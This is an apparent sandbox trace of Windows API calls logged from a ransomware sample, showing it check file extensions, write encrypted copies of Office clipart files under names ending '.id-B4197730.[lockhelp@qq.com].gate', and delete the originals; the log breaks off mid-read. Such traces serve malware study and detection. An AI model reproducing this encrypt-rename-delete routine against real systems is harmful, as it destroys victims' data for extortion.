[0290.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString=".bz2") returned 4 [0290.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.472] lstrlenW (lpString=".7z") returned 3 [0290.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.472] lstrlenW (lpString=".dbf") returned 4 [0290.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.472] lstrlenW (lpString=".1cd") returned 4 [0290.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.472] lstrlenW (lpString=".jpg") returned 4 [0290.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.472] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.472] lstrlenW (lpString="BS00145_.WMF") returned 12 [0290.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0290.472] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1712) returned 1 [0290.472] CloseHandle (hObject=0x4b8) returned 1 [0290.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0290.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0290.473] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.473] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0290.474] GetLastError () returned 0x0 [0290.474] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0290.598] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0290.599] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.599] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.599] SetEndOfFile (hFile=0x3d0) returned 1 [0290.599] CloseHandle (hObject=0x3d0) returned 1 [0290.600] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.600] SetEndOfFile (hFile=0x4b8) returned 1 [0290.602] CloseHandle (hObject=0x4b8) returned 1 [0290.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0290.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.603] lstrlenW (lpString=".doc") returned 4 [0290.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.603] lstrlenW (lpString=".docx") returned 5 [0290.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.603] lstrlenW (lpString=".pdf") returned 4 [0290.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.603] lstrlenW (lpString=".xls") returned 4 [0290.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.603] lstrlenW (lpString=".xlsx") returned 5 [0290.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.603] lstrlenW (lpString=".ppt") returned 4 [0290.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.603] lstrlenW (lpString=".zip") returned 4 [0290.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.603] lstrlenW (lpString=".rar") returned 4 [0290.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.603] lstrlenW (lpString=".bz2") returned 4 [0290.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString=".7z") returned 3 [0290.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.604] lstrlenW (lpString=".dbf") returned 4 [0290.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.604] lstrlenW (lpString=".1cd") returned 4 [0290.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.604] lstrlenW (lpString=".jpg") returned 4 [0290.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.604] lstrlenW (lpString=".doc") returned 4 [0290.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString=".docx") returned 5 [0290.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.604] lstrlenW (lpString=".pdf") returned 4 [0290.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString=".xls") returned 4 [0290.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.604] lstrlenW (lpString=".xlsx") returned 5 [0290.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.604] lstrlenW (lpString=".ppt") returned 4 [0290.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.604] lstrlenW (lpString=".zip") returned 4 [0290.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.604] lstrlenW (lpString=".rar") returned 4 [0290.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString=".bz2") returned 4 [0290.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.604] lstrlenW (lpString=".7z") returned 3 [0290.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.605] lstrlenW (lpString=".dbf") returned 4 [0290.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.605] lstrlenW (lpString=".1cd") returned 4 [0290.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0290.605] lstrlenW (lpString=".jpg") returned 4 [0290.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.605] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.605] lstrlenW (lpString="BS00439_.WMF") returned 12 [0290.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0290.614] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2052) returned 1 [0290.614] CloseHandle (hObject=0x4b8) returned 1 [0290.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0290.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0290.614] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.614] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0290.615] GetLastError () returned 0x0 [0290.615] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x804, lpOverlapped=0x0) returned 1 [0290.810] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x810, lpOverlapped=0x0) returned 1 [0290.811] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.811] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.811] SetEndOfFile (hFile=0x3d0) returned 1 [0290.811] CloseHandle (hObject=0x3d0) returned 1 [0290.812] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.812] SetEndOfFile (hFile=0x4b8) returned 1 [0290.816] CloseHandle (hObject=0x4b8) returned 1 [0290.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0290.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.818] lstrlenW (lpString=".doc") returned 4 [0290.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.818] lstrlenW (lpString=".docx") returned 5 [0290.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.818] lstrlenW (lpString=".pdf") returned 4 [0290.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.818] lstrlenW (lpString=".xls") returned 4 [0290.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.818] lstrlenW (lpString=".xlsx") returned 5 [0290.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.818] lstrlenW (lpString=".ppt") returned 4 [0290.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.818] lstrlenW (lpString=".zip") returned 4 [0290.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.818] lstrlenW (lpString=".rar") returned 4 [0290.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.818] lstrlenW (lpString=".bz2") returned 4 [0290.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.818] lstrlenW (lpString=".7z") returned 3 [0290.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.818] lstrlenW (lpString=".dbf") returned 4 [0290.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.818] lstrlenW (lpString=".1cd") returned 4 [0290.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.819] lstrlenW (lpString=".jpg") returned 4 [0290.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.819] lstrlenW (lpString=".doc") returned 4 [0290.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.819] lstrlenW (lpString=".docx") returned 5 [0290.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.819] lstrlenW (lpString=".pdf") returned 4 [0290.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.819] lstrlenW (lpString=".xls") returned 4 [0290.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.819] lstrlenW (lpString=".xlsx") returned 5 [0290.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.819] lstrlenW (lpString=".ppt") returned 4 [0290.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.819] lstrlenW (lpString=".zip") returned 4 [0290.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.819] lstrlenW (lpString=".rar") returned 4 [0290.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.819] lstrlenW (lpString=".bz2") returned 4 [0290.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.819] lstrlenW (lpString=".7z") returned 3 [0290.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.820] lstrlenW (lpString=".dbf") returned 4 [0290.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.820] lstrlenW (lpString=".1cd") returned 4 [0290.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0290.820] lstrlenW (lpString=".jpg") returned 4 [0290.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.820] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1676) returned 1 [0290.820] CloseHandle (hObject=0x4b8) returned 1 [0290.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0290.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0290.821] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.821] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0290.824] GetLastError () returned 0x0 [0290.824] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x68c, lpOverlapped=0x0) returned 1 [0291.004] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x690, lpOverlapped=0x0) returned 1 [0291.005] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.005] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.005] SetEndOfFile (hFile=0x3d0) returned 1 [0291.005] CloseHandle (hObject=0x3d0) returned 1 [0291.006] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.006] SetEndOfFile (hFile=0x4b8) returned 1 [0291.009] CloseHandle (hObject=0x4b8) returned 1 [0291.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0291.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0291.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0291.010] lstrlenW (lpString=".doc") returned 4 [0291.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.010] lstrlenW (lpString=".docx") returned 5 [0291.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.010] lstrlenW (lpString=".pdf") returned 4 [0291.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.010] lstrlenW (lpString=".xls") returned 4 [0291.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.010] lstrlenW (lpString=".xlsx") returned 5 [0291.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.010] lstrlenW (lpString=".ppt") returned 4 [0291.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0291.010] lstrlenW (lpString=".zip") returned 4 [0291.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.010] lstrlenW (lpString=".rar") returned 4 [0291.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.010] lstrlenW (lpString=".bz2") returned 4 [0291.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.010] lstrlenW (lpString=".7z") returned 3 [0291.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0291.010] lstrlenW (lpString=".dbf") returned 4 [0291.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0291.010] lstrlenW (lpString=".1cd") returned 4 [0291.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0291.011] lstrlenW (lpString=".jpg") returned 4 [0291.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.012] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3796) returned 1 [0291.012] CloseHandle (hObject=0x4b8) returned 1 [0291.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0291.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0291.013] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.013] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0291.013] GetLastError () returned 0x0 [0291.013] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xed4, 